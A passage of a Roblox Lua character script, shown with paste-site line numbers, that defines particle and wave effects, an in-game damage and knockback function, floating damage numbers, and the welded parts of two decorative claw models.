2186
Part.Parent=nil
2187
end),prt,msh)
2188
end
2189
 
2190
function BreakEffect(brickcolor,cframe,x1,y1,z1)
2191
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2192
prt.Anchored=true
2193
prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2194
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2195
game:GetService("Debris"):AddItem(prt,2)
2196
coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) 
2197
CF=Part.CFrame
2198
Numbb=0
2199
randnumb=math.random()/10
2200
rand1=math.random()/10
2201
for i=0,1,rand1 do
2202
wait()
2203
CF=CF*cf(0,math.random()/2,0)
2204
--Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
2205
Part.CFrame=CF*euler(Numbb,0,0)
2206
Part.Transparency=i
2207
Numbb=Numbb+randnumb
2208
end
2209
Part.Parent=nil
2210
end),prt,CF,Numbb,randnumb)
2211
end
2212
 
2213
function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2214
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2215
prt.Anchored=true
2216
prt.CFrame=cframe
2217
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
2218
game:GetService("Debris"):AddItem(prt,5)
2219
coroutine.resume(coroutine.create(function(Part,Mesh) 
2220
for i=0,1,delay do
2221
wait()
2222
Part.CFrame=Part.CFrame*euler(0,0.7,0)
2223
Part.Transparency=i
2224
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2225
end
2226
Part.Parent=nil
2227
end),prt,msh)
2228
end
2229
 
2230
function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2231
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2232
prt.Anchored=true
2233
prt.CFrame=cframe
2234
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
2235
game:GetService("Debris"):AddItem(prt,2)
2236
coroutine.resume(coroutine.create(function(Part,Mesh) 
2237
for i=0,1,delay do
2238
wait()
2239
Part.CFrame=Part.CFrame*cf(0,y3/2,0)
2240
Part.Transparency=i
2241
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2242
end
2243
Part.Parent=nil
2244
end),prt,msh)
2245
end
2246
 
2247
function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
2248
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2249
prt.Anchored=true
2250
prt.CFrame=cframe*cf(x,y,z)
2251
msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
2252
game:GetService("Debris"):AddItem(prt,5)
2253
coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) 
2254
local num=math.random()
2255
local num2=math.random(-3,2)+math.random()
2256
local numm=0
2257
for i=0,1,delay*2 do
2258
swait()
2259
Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
2260
Part.Transparency=i
2261
numm=numm+0.01
2262
end
2263
Part.Parent=nil
2264
Mesh.Parent=nil
2265
end),prt,msh,x,y,z)
2266
end
2267
2268
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
2269
        if hit.Parent==nil then
2270
                return
2271
        end
2272
        h=hit.Parent:FindFirstChild("Humanoid")
2273
        for _,v in pairs(hit.Parent:children()) do
2274
        if v:IsA("Humanoid") then
2275
        h=v
2276
        end
2277
        end
2278
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
2279
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
2280
        end
2281
        if hit.Parent.className=="Hat" then
2282
        hit=hit.Parent.Parent:findFirstChild("Head")
2283
        end
2284
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
2285
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
2286
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
2287
                        return
2288
                end]]
2289
--                        hs(hit,1.2) 
2290
                        c=Instance.new("ObjectValue")
2291
                        c.Name="creator"
2292
                        c.Value=game:service("Players").LocalPlayer
2293
                        c.Parent=h
2294
                        game:GetService("Debris"):AddItem(c,.5)
2295
                Damage=math.random(minim,maxim)
2296
--                h:TakeDamage(Damage)
2297
                blocked=false
2298
                block=hit.Parent:findFirstChild("Block")
2299
                if block~=nil then
2300
                print(block.className)
2301
                if block.className=="NumberValue" then
2302
                if block.Value>0 then
2303
                blocked=true
2304
                if decreaseblock==nil then
2305
                block.Value=block.Value-1
2306
                end
2307
                end
2308
                end
2309
                if block.className=="IntValue" then
2310
                if block.Value>0 then
2311
                blocked=true
2312
                if decreaseblock~=nil then
2313
                block.Value=block.Value-1
2314
                end
2315
                end
2316
                end
2317-
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
2317+
2318
                if blocked==false then
2319
--                h:TakeDamage(Damage)
2320
                h.Health=h.Health-Damage
2321
                showDamage(hit.Parent,Damage,.5,TorsoColor)
2322
                else
2323
                h.Health=h.Health-(Damage/2)
2324
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("New Yeller"))
2325
                end
2326
                if Type=="Knockdown" then
2327
                hum=hit.Parent.Humanoid
2328
hum.PlatformStand=true
2329
coroutine.resume(coroutine.create(function(HHumanoid)
2330
swait(1)
2331
HHumanoid.PlatformStand=false
2332
end),hum)
2333
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
2334
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
2335
local bodvol=Instance.new("BodyVelocity")
2336
bodvol.velocity=angle*knockback
2337
bodvol.P=5000
2338
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
2339
bodvol.Parent=hit
2340
rl=Instance.new("BodyAngularVelocity")
2341
rl.P=3000
2342
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2343
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
2344
rl.Parent=hit
2345
game:GetService("Debris"):AddItem(bodvol,.5)
2346
game:GetService("Debris"):AddItem(rl,.5)
2347
                elseif Type=="Normal" then
2348
                vp=Instance.new("BodyVelocity")
2349
                vp.P=500
2350
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
2351
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
2352
                if KnockbackType==1 then
2353
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
2354
                elseif KnockbackType==2 then
2355
                vp.velocity=Property.CFrame.lookVector*knockback
2356
                end
2357
                if knockback>0 then
2358
                        vp.Parent=hit.Parent.Torso
2359
                end
2360
                game:GetService("Debris"):AddItem(vp,.5)
2361
                elseif Type=="Up" then
2362
                local bodyVelocity=Instance.new("BodyVelocity")
2363
                bodyVelocity.velocity=vt(0,10,0)
2364
                bodyVelocity.P=1000
2365
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
2366
                bodyVelocity.Parent=hit
2367
                game:GetService("Debris"):AddItem(bodyVelocity,1)
2368
                rl=Instance.new("BodyAngularVelocity")
2369
                rl.P=3000
2370
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2371
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2372
                rl.Parent=hit
2373
                game:GetService("Debris"):AddItem(rl,.5)
2374
                elseif Type=="Snare" then
2375
                bp=Instance.new("BodyPosition")
2376
                bp.P=2000
2377
                bp.D=100
2378
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2379
                bp.position=hit.Parent.Torso.Position
2380
                bp.Parent=hit.Parent.Torso
2381
                game:GetService("Debris"):AddItem(bp,1)
2382
                elseif Type=="Target" then
2383
                if Targetting==false then
2384
                ZTarget=hit.Parent.Torso
2385
                coroutine.resume(coroutine.create(function(Part) 
2386
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2387
                swait(5)
2388
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2389
                end),ZTarget)
2390
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
2391
                targetgui=Instance.new("BillboardGui")
2392
                targetgui.Parent=ZTarget
2393
                targetgui.Size=UDim2.new(10,100,10,100)
2394
                targ=Instance.new("ImageLabel")
2395
                targ.Parent=targetgui
2396
                targ.BackgroundTransparency=1
2397
                targ.Image="rbxassetid://4834067"
2398
                targ.Size=UDim2.new(1,0,1,0)
2399
                cam.CameraType="Scriptable"
2400
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2401
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2402
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2403
                Targetting=true
2404
                RocketTarget=ZTarget
2405
                for i=1,Property do
2406
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
2407
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
2408
                swait()
2409
                end
2410
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
2411
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2412
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2413
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
2414
                end
2415
                Targetting=false
2416
                RocketTarget=nil
2417
                targetgui.Parent=nil
2418
                cam.CameraType="Custom"
2419
                end
2420
                end
2421
                        debounce=Instance.new("BoolValue")
2422
                        debounce.Name="DebounceHit"
2423
                        debounce.Parent=hit.Parent
2424
                        debounce.Value=true
2425
                        game:GetService("Debris"):AddItem(debounce,Delay)
2426
                        c=Instance.new("ObjectValue")
2427
                        c.Name="creator"
2428
                        c.Value=Player
2429
                        c.Parent=h
2430
                        game:GetService("Debris"):AddItem(c,.5)
2431
                CRIT=false
2432
                hitDeb=true
2433
                AttackPos=6
2434
        end
2435
end
2436
 
2437
showDamage=function(Char,Dealt,du,Color)
2438
        m=Instance.new("Model")
2439
        m.Name=tostring(Dealt)
2440
        h=Instance.new("Humanoid")
2441
        h.Health=0
2442
        h.MaxHealth=0
2443
        h.Parent=m
2444
        c=Instance.new("Part")
2445
        c.Transparency=0
2446
        c.BrickColor=TorsoColor
2447
        c.Name="Head"
2448
        c.TopSurface=0
2449
        c.BottomSurface=0
2450
        c.formFactor="Plate"
2451
        c.Size=Vector3.new(1,.4,1)
2452
        ms=Instance.new("CylinderMesh")
2453
        ms.Scale=Vector3.new(.8,.8,.8)
2454
        so("http://www.roblox.com/asset/?id=199149269",c,1,1) 
2455
        if CRIT==true then
2456
                ms.Scale=Vector3.new(1,1.25,1)
2457
        end
2458
        ms.Parent=c
2459
        c.Reflectance=0
2460
        Instance.new("BodyGyro").Parent=c
2461
        c.Parent=m
2462
        if Char:findFirstChild("Head")~=nil then
2463
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
2464
        elseif Char.Parent:findFirstChild("Head")~=nil then
2465
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
2466
        end
2467
        f=Instance.new("BodyPosition")
2468
        f.P=2000
2469
        f.D=100
2470
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2471
        f.position=c.Position+Vector3.new(0,3,0)
2472
        f.Parent=c
2473
        game:GetService("Debris"):AddItem(m,.5+du)
2474
        c.CanCollide=false
2475
        m.Parent=workspace
2476
        c.CanCollide=false
2477
end
2478
2479
    Player=game:GetService('Players').LocalPlayer
2480
    Character=Player.Character
2481
    Mouse=Player:GetMouse()
2482
    m=Instance.new('Model',Character)
2483
2484
2485
    local function weldBetween(a, b)
2486
        local weldd = Instance.new("ManualWeld")
2487
        weldd.Part0 = a
2488
        weldd.Part1 = b
2489
        weldd.C0 = CFrame.new()
2490
        weldd.C1 = b.CFrame:inverse() * a.CFrame
2491
        weldd.Parent = a
2492
        return weldd
2493
    end
2494
    
2495
    it=Instance.new
2496
    
2497
    function nooutline(part)
2498
        part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
2499
    end
2500
    
2501
    function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
2502
        local fp=it("Part")
2503
        fp.formFactor=formfactor
2504
        fp.Parent=parent
2505
        fp.Reflectance=reflectance
2506
        fp.Transparency=transparency
2507
        fp.CanCollide=false
2508
        fp.Locked=true
2509
        fp.BrickColor=BrickColor.new(tostring(brickcolor))
2510
        fp.Name=name
2511
        fp.Size=size
2512
        fp.Position=Character.Torso.Position
2513
        nooutline(fp)
2514
        fp.Material=material
2515
        fp:BreakJoints()
2516
        return fp
2517
    end
2518
    
2519
    function mesh(Mesh,part,meshtype,meshid,offset,scale)
2520
        local mesh=it(Mesh)
2521
        mesh.Parent=part
2522
        if Mesh=="SpecialMesh" then
2523
            mesh.MeshType=meshtype
2524
            mesh.MeshId=meshid
2525
        end
2526
        mesh.Offset=offset
2527
        mesh.Scale=scale
2528
        return mesh
2529
    end
2530
    
2531
    function weld(parent,part0,part1,c0,c1)
2532
        local weld=it("Weld")
2533
        weld.Parent=parent
2534
        weld.Part0=part0
2535
        weld.Part1=part1
2536
        weld.C0=c0
2537
        weld.C1=c1
2538
        return weld
2539
    end
2540
2541
local modelzorz=Instance.new("Model") 
2542
modelzorz.Parent=Character 
2543
modelzorz.Name="Claw1"
2544
2545
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2546
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2547
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2548
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2549
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2550
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2551
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2552
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2553
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2554
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2555
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2556
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2557
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2558
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2559
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2560
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2561
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2562
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2563
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2564
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2565
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2566
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2567
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2568
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2569
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2570
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2571
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2572
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2573
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2574
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2575
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2576
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2577
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2578
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2579
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2580
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2581
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2582
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2583
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2584
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2585
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2586
2587
local modelzorz2=Instance.new("Model") 
2588
modelzorz2.Parent=Character 
2589
modelzorz2.Name="Claw2"
2590
2591
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2592
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2593
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2594
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2595
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2596
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2597
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2598
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2599
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2600
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2601
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2602
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2603
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2604
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2605
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2606
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2607
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2608
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2609
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2610
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2611
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2612
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2613
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2614
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2615
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2616
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2617
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2618
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2619
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2620
